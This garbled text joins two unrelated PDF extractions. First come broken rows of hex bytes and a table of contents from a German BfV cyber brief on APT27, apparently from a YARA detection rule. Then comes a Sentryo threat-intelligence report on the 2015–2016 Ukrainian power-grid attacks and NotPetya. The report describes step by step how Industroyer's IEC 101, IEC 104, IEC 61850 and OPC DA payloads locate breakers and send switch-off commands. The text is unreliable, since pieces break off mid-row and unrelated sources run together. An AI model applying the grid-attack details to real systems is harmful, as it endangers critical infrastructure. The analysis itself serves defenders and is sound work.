47 AB AB DD BF 53 5A E5 thumb_dat_content92    44 C6 64 5B 5B 1F B0 E6 48 AC AC DE C0 54 5B E6 thumb_dat_content93    45 C7 65 5C 5C 20 B1 E7 49 AD AD DF C1 55 5C E7 thumb_dat_content94    46 C8 66 5D 5D 21 B2 E8 4A AE AE E0 C2 56 5D E8 thumb_dat_content95    47 C9 67 5E 5E 22 B3 E9 4B AF AF E1 C3 57 5E E9 thumb_dat_content96    48 CA 68 5F 5F 23 B4 EA 4C B0 B0 E2 C4 58 5F EA thumb_dat_content97    49 CB 69 60 60 24 B5 EB 4D B1 B1 E3 C5 59 60 EB thumb_dat_content98    4A CC 6A 61 61 25 B6 EC 4E B2 B2 E4 C6 5A 61 EC thumb_dat_content99    4B CD 6B 62 62 26 B7 ED 4F B3 B3 E5 C7 5B 62 ED thumb_dat_content100   4C CE 6C 63 63 27 B8 EE 50 B4 B4 E6 C8 5C 63 EE thumb_dat_content101   4D CF 6D 64 64 28 B9 EF 51 B5 B5 E7 C9 5D 64 EF thumb_dat_content102   4E D0 6E 65 65 29 BA F0 52 B6 B6 E8 CA 5E 65 F0 thumb_dat_content103   4F D1 6F 66 66 2A BB F1 53 B7 B7 E9 CB 5F 66 F1 thumb_dat_content104   50 D2 70 67 67 2B BC F2 54 B8 B8 EA CC 60 67 F2 thumb_dat_content105   51 D3 71 68 68 2C BD F3 55 B9 B9 EB CD 61 68 F3 thumb_dat_content106   52 D4 72 69 69 2D BE F4 56 BA BA EC CE 62 69 F4 thumb_dat_content107   53 D5 73 6A 6A 2E BF F5 57 BB BB ED CF 63 6A F5 thumb_dat_content108   54 D6 74 6B 6B 2F C0 F6 58 BC BC EE D0 64 6B F6 thumb_dat_content109   55 D7 75 6C 6C 30 C1 F7 59 BD BD EF D1 65 6C F7 BfV Cyber-Brief 13Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE thumb_dat_content110   56 D8 76 6D 6D 31 C2 F8 5A BE BE F0 D2 66 6D F8 thumb_dat_content111   57 D9 77 6E 6E 32 C3 F9 5B BF BF F1 D3 67 6E F9 thumb_dat_content112   58 DA 78 6F 6F 33 C4 FA 5C C0 C0 F2 D4 68 6F FA thumb_dat_content113   59 DB 79 70 70 34 C5 FB 5D C1 C1 F3 D5 69 70 FB thumb_dat_content114   5A DC 7A 71 71 35 C6 FC 5E C2 C2 F4 D6 6A 71 FC thumb_dat_content115   5B DD 7B 72 72 36 C7 FD 5F C3 C3 F5 D7 6B 72 FD thumb_dat_content116   5C DE 7C 73 73 37 C8 FE 60 C4 C4 F6 D8 6C 73 FE thumb_dat_content117   5D DF 7D 74 74 38 C9 00 61 C5 C5 F7 D9 6D 74 00 thumb_dat_content118   5E E0 7E 75 75 39 CA 01 62 C6 C6 F8 DA 6E 75 01 thumb_dat_content119   5F E1 7F 76 76 3A CB 02 63 C7 C7 F9 DB 6F 76 02 thumb_dat_content120   60 E2 80 77 77 3B CC 03 64 C8 C8 FA DC 70 77 03 thumb_dat_content121   61 E3 81 78 78 3C CD 04 65 C9 C9 FB DD 71 78 04 thumb_dat_content122   62 E4 82 79 79 3D CE 05 66 CA CA FC DE 72 79 05 thumb_dat_content123   63 E5 83 7A 7A 3E CF 06 67 CB CB FD DF 73 7A 06 thumb_dat_content124   64 E6 84 7B 7B 3F D0 07 68 CC CC FE E0 74 7B 07 thumb_dat_content125   65 E7 85 7C 7C 40 D1 08 69 CD CD 00 E1 75 7C 08 thumb_dat_content126   66 E8 86 7D 7D 41 D2 09 6A CE CE 01 E2 76 7D 09 thumb_dat_content127   67 E9 87 7E 7E 42 D3 0A 6B CF CF 02 E3 77 7E 0A thumb_dat_content128   68 EA 88 7F 7F 43 D4 0B 6C D0 D0 03 E4 78 7F 0B thumb_dat_content129   69 EB 89 80 80 44 D5 0C 6D D1 D1 04 E5 79 80 0C thumb_dat_content130   6A EC 8A 81 81 45 D6 0D 6E D2 D2 05 E6 7A 81 0D thumb_dat_content131   6B ED 8B 82 82 46 D7 0E 6F D3 D3 06 E7 7B 82 0E thumb_dat_content132   6C EE 8C 83 83 47 D8 0F 70 D4 D4 07 E8 7C 83 0F thumb_dat_content133   6D EF 8D 84 84 48 D9 10 71 D5 D5 08 E9 7D 84 10 thumb_dat_content134   6E F0 8E 85 85 49 DA 11 72 D6 D6 09 EA 7E 85 11 thumb_dat_content135   6F F1 8F 86 86 4A DB 12 73 D7 D7 0A EB 7F 86 12 thumb_dat_content136   70 F2 90 87 87 4B DC 13 74 D8 D8 0B EC 80 87 13 thumb_dat_content137   71 F3 91 88 88 4C DD 14 75 D9 D9 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Cyber-Brief 14Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE thumb_dat_content180   9C 1F BC B3 B3 77 09 3F A0 05 05 37 19 AC B3 3F thumb_dat_content181   9D 20 BD B4 B4 78 0A 40 A1 06 06 38 1A AD B4 40 thumb_dat_content182   9E 21 BE B5 B5 79 0B 41 A2 07 07 39 1B AE B5 41 thumb_dat_content183   9F 22 BF B6 B6 7A 0C 42 A3 08 08 3A 1C AF B6 42 thumb_dat_content184   A0 23 C0 B7 B7 7B 0D 43 A4 09 09 3B 1D B0 B7 43 thumb_dat_content185   A1 24 C1 B8 B8 7C 0E 44 A5 0A 0A 3C 1E B1 B8 44 thumb_dat_content186   A2 25 C2 B9 B9 7D 0F 45 A6 0B 0B 3D 1F B2 B9 45 thumb_dat_content187   A3 26 C3 BA BA 7E 10 46 A7 0C 0C 3E 20 B3 BA 46 thumb_dat_content188   A4 27 C4 BB BB 7F 11 47 A8 0D 0D 3F 21 B4 BB 47 thumb_dat_content189   A5 28 C5 BC BC 80 12 48 A9 0E 0E 40 22 B5 BC 48 thumb_dat_content190   A6 29 C6 BD BD 81 13 49 AA 0F 0F 41 23 B6 BD 49 thumb_dat_content191   A7 2A C7 BE BE 82 14 4A AB 10 10 42 24 B7 BE 4A thumb_dat_content192   A8 2B C8 BF BF 83 15 4B AC 11 11 43 25 B8 BF 4B thumb_dat_content193   A9 2C C9 C0 C0 84 16 4C AD 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D5 DC 68 thumb_dat_content222   C6 49 E6 DD DD A1 33 69 CA 2F 2F 61 43 D6 DD 69 thumb_dat_content223   C7 4A E7 DE DE A2 34 6A CB 30 30 62 44 D7 DE 6A thumb_dat_content224   C8 4B E8 DF DF A3 35 6B CC 31 31 63 45 D8 DF 6B thumb_dat_content225   C9 4C E9 E0 E0 A4 36 6C CD 32 32 64 46 D9 E0 6C thumb_dat_content226   CA 4D EA E1 E1 A5 37 6D CE 33 33 65 47 DA E1 6D thumb_dat_content227   CB 4E EB E2 E2 A6 38 6E CF 34 34 66 48 DB E2 6E thumb_dat_content228   CC 4F EC E3 E3 A7 39 6F D0 35 35 67 49 DC E3 6F thumb_dat_content229   CD 50 ED E4 E4 A8 3A 70 D1 36 36 68 4A DD E4 70 thumb_dat_content230   CE 51 EE E5 E5 A9 3B 71 D2 37 37 69 4B DE E5 71 thumb_dat_content231   CF 52 EF E6 E6 AA 3C 72 D3 38 38 6A 4C DF E6 72 thumb_dat_content232   D0 53 F0 E7 E7 AB 3D 73 D4 39 39 6B 4D E0 E7 73 thumb_dat_content233   D1 54 F1 E8 E8 AC 3E 74 D5 3A 3A 6C 4E E1 E8 74 thumb_dat_content234   D2 55 F2 E9 E9 AD 3F 75 D6 3B 3B 6D 4F E2 E9 75 thumb_dat_content235   D3 56 F3 EA EA AE 40 76 D7 3C 3C 6E 50 E3 EA 76 thumb_dat_content236   D4 57 F4 EB EB AF 41 77 D8 3D 3D 6F 51 E4 EB 77 thumb_dat_content237   D5 58 F5 EC EC B0 42 78 D9 3E 3E 70 52 E5 EC 78 thumb_dat_content238   D6 59 F6 ED ED B1 43 79 DA 3F 3F 71 53 E6 ED 79 thumb_dat_content239   D7 5A F7 EE EE B2 44 7A DB 40 40 72 54 E7 EE 7A thumb_dat_content240   D8 5B F8 EF EF B3 45 7B DC 41 41 73 55 E8 EF 7B thumb_dat_content241   D9 5C F9 F0 F0 B4 46 7C DD 42 42 74 56 E9 F0 7C thumb_dat_content242   DA 5D FA F1 F1 B5 47 7D DE 43 43 75 57 EA F1 7D thumb_dat_content243   DB 5E FB F2 F2 B6 48 7E DF 44 44 76 58 EB F2 7E thumb_dat_content244   DC 5F FC F3 F3 B7 49 7F E0 45 45 77 59 EC F3 7F thumb_dat_content245   DD 60 FD F4 F4 B8 4A 80 E1 46 46 78 5A ED F4 80 thumb_dat_content246   DE 61 FE F5 F5 B9 4B 81 E2 47 47 79 5B EE F5 81 thumb_dat_content247   DF 62 00 F6 F6 BA 4C 82 E3 48 48 7A 5C EF F6 82 thumb_dat_content248   E0 63 01 F7 F7 BB 4D 83 E4 49 49 7B 5D F0 F7 83 thumb_dat_content249   E1 64 02 F8 F8 BC 4E 84 E5 4A 4A 7C 5E F1 F8 84 BfV Cyber-Brief 15Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE thumb_dat_content250   E2 65 03 F9 F9 BD 4F 85 E6 4B 4B 7D 5F F2 F9 85 thumb_dat_content251   E3 66 04 FA FA BE 50 86 E7 4C 4C 7E 60 F3 FA 86 thumb_dat_content252   E4 67 05 FB FB BF 51 87 E8 4D 4D 7F 61 F4 FB 87 thumb_dat_content253   E5 68 06 FC FC C0 52 88 E9 4E 4E 80 62 F5 FC 88 thumb_dat_content254   E6 69 07 FD FD C1 53 89 EA 4F 4F 81 63 F6 FD 89 thumb_dat_content255   E7 6A 08 FE FE C2 54 8A EB 50 50 82 64 F7 FE 8A condition: any of them and filesize  5MB  BfV Cyber-BriefNr.
01/2022- Hinweis auf aktuelle Angriffskampagne - Aktuelle Cyberangriffskampagne gegen deutsche Wirtschaftsunternehmendurch die Gruppierung APT27 Sachverhalt Hintergrundinformationen Angriffsvektor Technische Analyse Installationsprozess Ausfhrungsprozess Netzwerkkommunikation Handlungsempfehlung Kontakt Anhang A.
Indicators of Compromise (IOCs) Weitere mgliche Indikatoren fr eine Infektion Anhang B.  Detektionsregeln -HYPERBRO (Yara) Detektionsregel I: Stage-Loader Detektionsregel II: Neue Varianten des Payloads (ab Ende 2021)
THREAT INTELLIGENCE REPORT CYBERATTACKS AGAINST UKRAINIAN ICS 2 1.
The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals.
These views do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution.
The views presented in the articles are those of the authors alone.
Since 2008 we have seen a steady progression in the severity and scale of cyberattacks on critical infrastructure.
In 2010 Stuxnet malware was placed at a nuclear enrichment facility in Iran that tampered with the control of equipment used in a critical process resulting in physical damage.
In 2012, malware was used to erase the data on 30,000 computers belonging to one of the worlds largest energy companies.
Since 2011 malware has been found searching the Internet for locations of particular brands of industrial control equipment.
In 2014 the control systems of a German steel mill were compromised denying view and control of equipment which also resulted in physical damage.
In the spring of 2015 a sophisticated cyber-attack targeted the communications systems of Frances national TV network TV5Monde.
The trend for increasing threats from cyberspace is getting worse.
Cyber-attacks on critical infrastructure have also become associated with political and even military conflict.
In 2008 cyber-attacks coincided with a traditional military operation for the first time in the Russian-Georgian War which arose out of a long political conflict between the two countries over separatists in the Georgian provinces of Abkhazia and South Ossetia.
The cyber-attack on Ukraines power grid just before Christmas in 2015 also occurred in the same context of political-military conflict over Russias illegal annexation of the Ukrainian province of Crimea.
Of even greater concern is that these cyber incidents are suspected to have been caused not by cyber criminals or student hackers but by state supported advanced and persistent threat (APT) actors.
The successful cyber-attacks that took place against a Ukrainian regional power grid in December 2015 and the apparently even more sophisticated follow up attack on the Ukrainian capital nearly a year later is another serious wake-up call for security policy practitioners.
All of these wake-up calls are taking place in an increasingly militarized cyberspace environment, with many nations treating it as a new domain for military operations.
Until the international community recognizes the seriousness of this new threat and organizes its response to manage this unsettling trend in cyberspace, the operators of critical infrastructure can take steps to reduce the risk and potential for damage to their critical systems.
The cyber-attacks executed against the Ukrainian power grid and other sectors of critical infrastructure in 2015 are examined with a purpose to derive some useful lessons learned that can be applied by operators of critical infrastructure.
In addition to technical solutions, this paper also stresses the importance of information sharing and proposes what policymakers can do to further support the technology based efforts of operators and industry at the international level.
BY VYTAUTAS BUTRIMAS SUBJECT MAT TER EXPERT, RESEARCH AND LESSONS LEARNED DIVISION, NATO ENERGY SECURITY CENTER OF EXCELLENCE1 3 Since Christmas 2015, the Sentryo Security Labs has analyzed in detail the various reports published by different actors in the cybersecurity world and the available information from malware feeds, technical blogs or social media regarding the Ukainian CyberAttacks.
The resulting reports were part of the Threat Monitoring service offered to paying Sentryo customers.
Following the second wave of attacks in December 2016, the Sentryo team has decided to publish a public version of this report to share this review.
This also includes a technical part on the newly found malware called INDUSTROYER/CrashOverride supposedly used during the second attack.
This article also includes a section about the NotPetya attack which recently targeted many Ukrainian businesses and companies doing business with Ukraine.
IT cybersecurity analysts tend to look at the attack vectors in depth.
They provide great details about the way attacks are developed focusing on the technical perspective.
Is the design well made?
Does it embed lots of different hacking techniques (0day, obfuscation, etc.
)?
We think this approach is misleading in the growing field of OT Monitoring cybersecurity.
Attack vectors are definitely part of the problem but their physical impact must be careful analysed.
OT impacts safety, health and environment where IT is about data.
OT impact is about casualties not only money and data losses.
Moreover, fear mongering (i.e.
tricks to have fear drive the sales process) is not part of the Sentryo culture.
Thats why we are being very careful and trying to distinguish what can be taken as true from what is, because there is no other evidence, pure speculation.
In this document, the reader will have an overview of Facts and Claims made in the cybersecurity community and Sentryos views on the subject.
Our goal is also to share our analysis to the whole SCADA/ICS/DCS/OT security community.
Threat intelligence shall be seen as an ongoing public debate between different skilled experts such as instrumentation engineers, control engineers, cybersecurity experts, CISOs, forensics gurus, etc.
We welcome any feedback or updates to this document and will definitely include all evidence that is lacking in this version.
This document also includes a great contribution that will stress the need for more Threat Information Sharing.
We warmly thank its author.
To ease the reading and provide a quasi executive summary, we will start with a detailed potential scenario of the first 2015 attack which has been documented.
Please note that 2016 incidents do not have enough documentation to provide such a scenario description.
It should also be noted that the attack campaign has apparently continued since early january 2017 with new technical elements coming to light regularly.
Check out the Sentryo website to download the latest version.
At Sentryo, we remain committed to helping industrial asset owners, including when they face a crisis.
Do not hesitate to contact us BY LAURENT HAUSERMANN SENTRYO CO FOUNDER EXECUTIVE SUMMARY: POTENTIAL SCENARIO FOR THE FIRST ATTACK CLAIMS USING SENTRYO ICS CYBERVISION TO COPE WITH SUCH ATTACKS CONCLUSION THE NEED OF THREAT INFORMATION SHARING BY VYTAUTAS BUTRIMAS FACTS  REPORTS 2017 ANOTHER MASSIVE INFECTION NOTPETYA 06 12 15 14 10 05 11 Les contributeurs : Laurent Hausermann - Sentryo Co-founder  COO  /  Patrice Bock - Sentryo Customer Success Manager Romain Francoise - Sentryo CTO  /  Antoine de Nervaux - Sentryo Security Engineer 5 DUE TO THE ANALYSIS AND DATA DEVELOPED IN THE PRESENT DOCUMENT, WE ARE ABLE TO DESCRIBE THE MOST PROBABLE AT TACK SCENARIO.
INDEED, IT APPEARS THAT IT WAS TARGETING THE CORE OF THE INDUSTRIAL NETWORK: The scale of the attack was able to cut power in a whole geographic area of Ukraine as three independent electricity distributors were simultaneously attacked.
They also used hacking techniques to support and amplify the cyberattack.
Their goal was clearly to stop, or at least slow down, operations during the power restore processes.
Finally, they performed a telephone denial-of-service attack on the call center.
Citizens were not able to call their power operator thus amplifying an already chaotic situation.
The impact of this attack was that more than 50 substations went offline and more than 200,000 homesremained without electricity for a period of time.
Ukrainian operators were able to restore power after 6 hours using manual on-site switches like in the old days.
1 6 2 5 3 It started with a spear phishing email campaign targeting IT employees.
Finally, they performed a telephone denial-of-service attack on the call center right after the attack occurred.
It infected the network using BlackEnergy version 3.
The attackers used KillDisk to delete the master boot record of critical industrial systems, delete logs and erase software to communicate with breakers.
At that point the attackers were able to retrieve VPN credentials to access the industrial network.
They disabled backup power, opened grid breakers and overwrote serial-to-ethernet firmware which is used to manipulate grid breakers.
4 5 6 THE DECEMBER 23 OUTAGE AT WESTERN UKRAINES PRYKARPAT TYAOBLENERGO/ IVANO-FRANKIVSK PLANT CUT POWER TO MANY CUSTOMERS FOR ABOUT SIX HOURS.
REPORTS VARY FROM 80,000 TO 1.4 MILLION CUSTOMERS IMPACTED.
VARIOUS ANALYSTS, INCLUDING ESET,  A WELL KNOWN ANTIVIRUS VENDOR, HAVE PROVIDED DEEP ANALYSIS OF THE MALWARE.
1    The malware was distributed by a dropper.
This dropper was an Excel macro embedded in a malicious spreadsheet file.
2    An updated analysis found that there was also an alternate attack based on a Microsoft Word Document embedding macros.
3    In reports about the December 2015 attack, the dropper used a variant of the Black Energy (3rd version) trojan (also called Lancafdo by Symantec).
Black Energy is not a new malware.
Its been used since 2007 in various campaigns including a famous one in 2014 against energy companies.
Black Energy enables attackers to control their malware via a control center (CC or C2) and enables them to do horizontal propagation (moving from one computer to another).
4    In reports about a replica attack performed in January 2016 (see next page for more details), the compromission chain was different and Black Energy was replaced by a custom-made malware payload based on a variant of the open-source gcat backdoor.
Incidentally, the spear phishing email contained an invisible PNG image to track when the victims viewed the email and the PNG was hosted on a server located in France and hosted by Online SAS.
The IP pointed to a domain name associated with a Hong Kong company which was probably a collateral victim in this case (compromised web server).
5    In the December campaign the attackers launched a wiper named KillDisk or Disakil.
This wiper is a destructive malware.
It is able to kill processes and services on a server and also wipe (i.e.
format) the whole hard disk.
6    A known feature of Disakil is to stop and delete a named service and write its corresponding executable file on the hard drive with random data in order to make restoration of the system more difficult.
Disakil was used against the service called sec_service.exe.
This service appears to belong to Serial to Ethernet Connector software by Eltima.
This software allows access to remote serial ports over network connections.
These kinds of remote serial connections are used to pilot PLCs or RTUs which do not have a way to connect via Ethernet (via a dedicated module).
This is quite common in old installations that were deployed before 2000.
7    As of April 2016, it is still unclear if the attack itself (breaker opening) was performed remotely using a digital / computerized weapon or was the result of a human and operational lapse but the likelihood of a digital weapon is high.
8    The organization NATO Cooperative Cyber Defence Centre of Excellence (CCD COE) has published a book called Cyber War in Perspective: Russian Aggression against Ukraine.
From this book, a presentation at the BlackHat 2016 conference was performed: Cyber War in Perspective: Analysis from the Crisis in Ukraine by Kenneth Geers.
This talk added some interesting points to this analysis.
Mainly, the goal was also to steal VPN credentials to SCADA to change passwords to access to the electric grid to disable the backup power to overwrite the serial-to-ethernet converter firmware to open 3 circuit breakers to launch the killdisk and to TDoS (Telephony Denial of Services) customer call center.
The impact was more than 50 substations offline and more than 200,000 homes without electricity.
THEY FOUND THAT: This second attack was targeting another grid company named Ukrenergo.
This incident caused multiple blackouts in the Ukrainian capital - Kiev and a complete power loss for the northern part of Kiev on the right bank of the Dnieper river and the surrounding region.
Experts of the grid company were able to fix the situation in less than 1 hour with a manual procedure.
This emergency response team was on site 30 minutes after the outage.
The faulty component was the automation control systems piloting a substation in a village near the Kiev city.
Automation systems in such substations control how power coming from power plants at high voltage is transformed to lower voltage for consumer and industrial use.
The main website of the power grid had been unreachable for a couple of days during and after the attack.
The head of Ukrenergo had to publish a quick statement on Facebook (provided in the appendix).
When the situation had been recovered, the company published an official statement available on their website.
It states Among the possible causes of failure are considered hacking and equipment malfunction (crashes).
Timely police were involved and conducted a thorough investigation into the accident, which will be to inform the public.
By the end of the official investigation into the case management of all objects SE NEC Ukrenergo with automatic control system was transferred to the local level.
In the middle of January Ukrenergo confirmed that the source cause of this power outage was malicious.
The authors are still undetermined.
Based on an article from Reuters, Ukrenergo said in comments emailed to Reuters: Preliminary findings indicate that workstations and Supervisory Control and Data Acquisition (SCADA) systems, linked to the 330 kilowatt sub-station North, were influenced by external sources outside normal parameters.
[...]
The analysis of the impact of symptoms on the initial data of these systems indicates a premeditated and multilevel invasion Law enforcement officials and cyber experts are still working to compile a chronology of events, draw up a list of compromised accounts, and determine the penetration point while tracing computers potentially infected with malware in sleep mode.
So far, no huge technical details related to the attack have been released publically.
Indeed Marina Krotofil from Honeywell and Oleskii Yasinskiy from ISSP shared some information confirming the attack without going further concerning technical details related to this attack.
According to CyberX, a targeted malware campaign called BugDrop could have been performed in the reconnaissance phase.
Indeed, the goal was to retrieve a maximum amount of information regarding the final target which was the power grid.
The complexity of the malware was quite impressive.
Once the target was infected through a targeted phishing campaign and the malware deployed, it retrieved a lot of information from the network and also screenshots, documents, passwords and audio recordings using the microphone.
For each infected target, the data was encrypted with Blowfish using a user-ID.
The exfiltration was performed through Dropbox services.
The assumption linking this malware and the attack is detailed in the claims section below.
FACTS  REPORTS ON DECEMBER 18, 2016 THE SECOND POWER OUTAGE OCCURRED IN UKRAINE CAUSING SOME BLACKOUTS IN KIEV FOR LESS THAN ONE HOUR.
THIS WAS THE TIME NEEDED FOR AN EXPERT TEAM TO GO ONSITE AND FIX THE PROBLEM USING A MANUAL PROCEDURE.
8 FACTS  REPORTS THE 12TH OF JUNE 2017, RESEARCHER ANTON CHEREPANOV FROM ESET PUBLISHED A COMPREHENSIVE TECHNICAL REPORT REGARDING THE MALWARE CALLED INDUSTROYER.
DRAGOS HAS ALSO PROVIDED AN IN-DEPTH ANALYSIS UNDER THE NAME OF CRASHOVERRIDE.
THIS MALWARE IS PROBABLY LINKED TO THE DECEMBER 2016 UKRAINE ATTACK.
INDEED, THIS MALWARE HAS BEEN DESIGNED TO DISRUPT THE WORKING PROCESS OF INDUSTRIAL CONTROL SYSTEMS USED IN ELECTRICAL SUBSTATIONS.
INDUSTROYER / CRASHOVERRIDE is the first OT malware designed specifically to attack electric grids.
This malware supports four differents industrial protocols: IEC 60870-5-101 (aka IEC 101) IEC 60870-5-104 (aka IEC 104) IEC 61850 OLE for Process Control Data Access (OPC DA) It is obvious that since the first 2015 attack (using Blackenergy and Killdisk) and this malware, there is a huge gap and attackers have improved their capacities.
The malware is now able to control switches and breakers.
ESET have seen indications that this malware could have been the tool used by attackers to cause the power outage in December 2016.
The infection vector remains unknown but the investigation is still ongoing.
Before going deeper into the malware, lets have a look at embedded components.
As we can see in the schematic below, the malware embeds: Two backdoors (CC through HTTPS) A launcher A wiper Four differents payloads corresponding to four different industrial protocols Source ESET: Simplified schematic of Win32 / Industroyer components 101 PAYLOAD OPC DA PAYLOAD104 PAYLOAD 61850 PAYLOAD MAIN BACKDOOR ADDITIONAL BACKDOOR ADDITIONAL TOOLS DATA WIPERLAUNCHER INSTALLS INSTALLS CONTROLS EXECUTES EXECUTES 8 9 IEC 101 PAYLOAD COMPONENT The payload uses the IEC101 protocol (IEC 60870-5-101) which is used for communications between industrial control systems and remote terminal units.
If the target machine communicates with a RTU using IEC101, the IEC101 payload is used.
It parses a configuration file created by the hacker to determine the processs target, it kills it and opens COM ports to communicate with the RTU and also to prevent the original process from communicating with the RTU.
Once the communication has been established, the malware sends IEC101 C_SC_ NA_1 and C_DC_NA_1 packets to switch off the RTU at the specified Information Object Address (IOA).
Regarding the CC it is interesting to note that a local proxy configuration has been hardcoded in the malware.
The local proxy is the way to access the Internet from the local network.
This configuration is adapted to the local network.
The fact that the local proxy has been hardcoded in the malware, means having technical knowledge about the target.
Due to this, we can conclude that it was a targeted attack.
In addition, without proper modification of the malware, it cannot be used on another target.
Another interesting thing is the way the malware deploys the backdoor to the victim to be able to spawn a shell, download a file and execute a program.
At the beginning, when the backdoor is executed on the victim, it stays in RAM and starts communicating with the CC.
At this moment, through the CC, information related to the victim is exfiltrated and analyzed to find vulnerabilities on the targeted system.
Once found, the exploit is sent through the backdoor (still in ram) to perform a privilege escalation.
And now the fun part begins: An initial persistent backdoor (the main) is deployed to replace a non-critical Windows service.
A second persistent backdoor (the backup) is installed through a malicious Microsoft Notepad on the victim.
Each time the Notepad is used the backdoor is also executed.
IEC 61850 PAYLOAD COMPONENT This payload uses the IEC 61850 standard.
This standard describes a protocol used for multi-vendor communication among devices that perform protection, automation, metering, monitoring, and control of electrical substation automation systems.
The 61850 payload uses only a small subset of the protocol to produce its disruptive effect.
The payload looks for a configuration file defining targets and commands as seen previously.
If the payload does not find the file, it starts to scan the network for TCP port 102 (used by IEC 61850).
Once found, the payload sends a connection request packet using the COTP protocol.
If successful, it sends a InitiateRequest and a getNameList request to compile a list of targets, variables and contents.
Afterwards, the payload parses received data for variables that contain the strings CSW (corresponds to logical nodes used to control circuit breakers and switches).
For each of them it will try a read and a write order to change the position of the breaker.
IEC 104 PAYLOAD COMPONENT This payload uses the IEC104 protocol (IEC 60870-5-104) which is used to send IEC101 on a TCP/IP network.
Similar to the IEC101 payload, the DLL reads a configuration file containing information regarding the target including the IP address, the port, the ADSU (Application Service Data Unit) and the operation.
The goal of this payload is to connect to a specified IP address and send packets with the ASDU address to interact with the IOA to switch it off.
The OT impact is quite important.
By using this payload, the malware is able to communicate on the OT network using the IEC104 protocol and to send orders to breakers.
At the same time, the malware is also able to communicate on the IT network to receive orders from the CC servers located outside of the target.
OPC DA PAYLOAD COMPONENT This last payload implements a client for the OPC Data Access protocol.
Once executed, the payload enumerates all OPC servers and OPC items and the server.
In the payload source code, we can see that it is looking for specific strings in OPC item names (ctlSelOn, ctlOperOn...).
These names may suggest an interest in ABB solutions such as the MicroSCADA range.
For each of the found OPC items, the payload changes its states.
10 ON JUNE 27TH, THE UKRAINIAN RADIO HOLOS STOLYTSY WERE ABLE TO CONTINUE THE RADIO DIFFUSION USING AN ANALOG RADIO EMETOR: THEIR MAIN SERVER WAS INFECTED BY A MALWARE... NOTPETYA WAS BORN Still in 2017, another massive attack has been performed against ukrainian critical infrastructure.
Although the payload did not include exploits targeting industrial systems, it did significantly impact manufacturing plants, as well in Ukraine as world-wide, with 6-figure losses at several european corporations.
What happened: on June 27th, the main server of the Ukrainian radio Holos Stolytsy was infected by a malware.
The radio was only able to continue the diffusion using an analog radio emetor.
This was NotPetyas first strike Soon after this first detection, other infections were quickly detected around the world.
But NotPetya is not Petya: lets not mix the original 2016 Petya ransomware and the one we are talking about, which is not a ransomware, and therefore was named NotPetya.
Basically, a ransomware is a malware that prevents file usage (e.g.
using encryption) and requests a ransom to decrypt them.
Petya is a ransomware published in March 2016.
The one which started in June 27th is quite different although based on the ransomware Petya.
The main difference is the fact that it is not a ransomware.
Once NotPetya is executed on a platform, it encrypts the whole hard drive but does not exfiltrate or embed a method to decrypt stored data.
It means that NotPetyas authors were not interested in money.
NotPetya embeds an effective infection method using the same exploits that Wannacry uses, targetting Windows SMB.
Unlike Wannacry, NotPetya tries to exploit remote machines located on the same local network.
But the main point is NotPetya has functionalities to retrieve and exfiltrate passwords and some remote administration functionalities.
We can directly conclude that NotPetya was not designed to make money or to control a BotNet but instead to infect a precise target.
The initial infection vector came from a malicious update of the Ukrainian countability software M.E.Doc.
Indeed, hackers took the control of a M.E.Docs server update and infected an update with NotPetya.
This Ukrainian radio was not an isolated case.
In fact, lots of Ukrainian institutions and companies have also been infected and, since NotPetya continued to spread itself through SMB, the infection rate was quite high.
Several French companies, like Saint Gobain, have also been infected.
As for previous attacks using the same vulnerability (Wannacry for instance), industrial systems were impacted, because of either direct network connections between IT and OT domains, or laptops or other equipments connected to both domains.
Determining the goal or attributing the malware to a country is quite hard.
Russian Rosneft also has been impacted.
The Ukrainian Cyber Police officially confirmed that M.E.Doc servers were backdoored on three different occasions.
The total losses, due to the alleged negligence of Intellect-Service, might be in the range of 1bn considering that St Gobain alone has declared a loss of 250M in revenue.
11 Ukraines state security service SBU has blamed Russia but the nations energy ministry said it would hold off on attribution until after it finishes a formal probe.
A press statement on the SBU website alleged the discovery of malicious software responsible for these outages on the networks of regional power companies.
According to the SBU press statement, the cyberattack was accompanied by a barrage of phone calls to their technical support telephone numbers which would have acted like a denial of service (DoS) attack.
The U.S. cyber intelligence firm iSight Partners said it has determined that a Russian hacking group known as Sandworm caused this unprecedented power outage in Ukraine.
Many other US based companies are pointing to Sandworm as the hacking unit.
Some press organizations are claiming this is the first known Grid hack.
They should remember, even unconfirmed, that the 2003 blackout in the US east coast may have been caused by a cyberattack.
Also, the FBI has already claimed that Daesh has tried unsuccessfully to hack the national US power grid.
According to the SANS ICS blog, the attack was a coordinated effort which targeted several power sub-companies and included a flooding attack on their phone support systems to prevent legitimate customers from reporting a power cut which would alert the on-call personnel to the problem.
According to the same source (unconfirmed), the staff in the affected companies acted quickly to bypass the SCADA systems and run everything in manual mode by acting on the main breakers which restored service in under 6 hours.
This would not have been possible in a modern grid installation which relies heavily on automation and cant be run in manual mode.
A Ukrainian telecoms engineer has raised doubts about the widely reported link between BlackEnergy attacks and power outages in his country.
Named Illia Illin, per The Register article, he claims First of all, there werent any blackouts in Boryspil (KBP).
An investigation team led by US government officials has released a report as part of the ICS-CERT initiative (see sources section).
This report remains vague about the exact insertion methods and attacker techniques and focuses on proactive defenses that would have prevented the attack.
Also, in the current political context, its hard to imagine that interviews of Ukrainian operators by US government officials would be 100 factual and accurate.
SANS ICS has released a new detailed report which summarizes the information collected by the investigation team (see sources for DUC5).
The report uses the Cyber Kill Chain framework to characterize the different phases of the attack.
However, many technical details remain vague (especially concerning attacker reconnaissance and remote control by VPN).
An analysis of the alleged malware used is provided.
The RAT tool used by the attacker is not mentioned.
Several assumptions have been released since this second outage.
For the time being, technical details regarding the attack have not been published.
The only technical finding is the threat vector.
Indeed, the SCADA stations had been compromised by an external source.
Marina Krotofil, lead cyber-security researcher at Honeywell who assisted in the investigation, declared It was an intentional cyber incident not meant to be on a large scale... they actually attacked more but couldnt achieve all their goals.
Also from Marina Krotofil, hackers are thought to have hidden in Ukrenergos IT network undetected for six months, acquiring privileges to access systems and figure out their workings, before taking methodical steps to take the power offline.
So far, we have no information confirming that the techniques used are the same or not.
According to CyberX, the malware used during the BugDrop operation detailed in the facts section could have been used during the reconnaissance phase.
Indeed, the compilation date and some targets may lead to this conclusion.
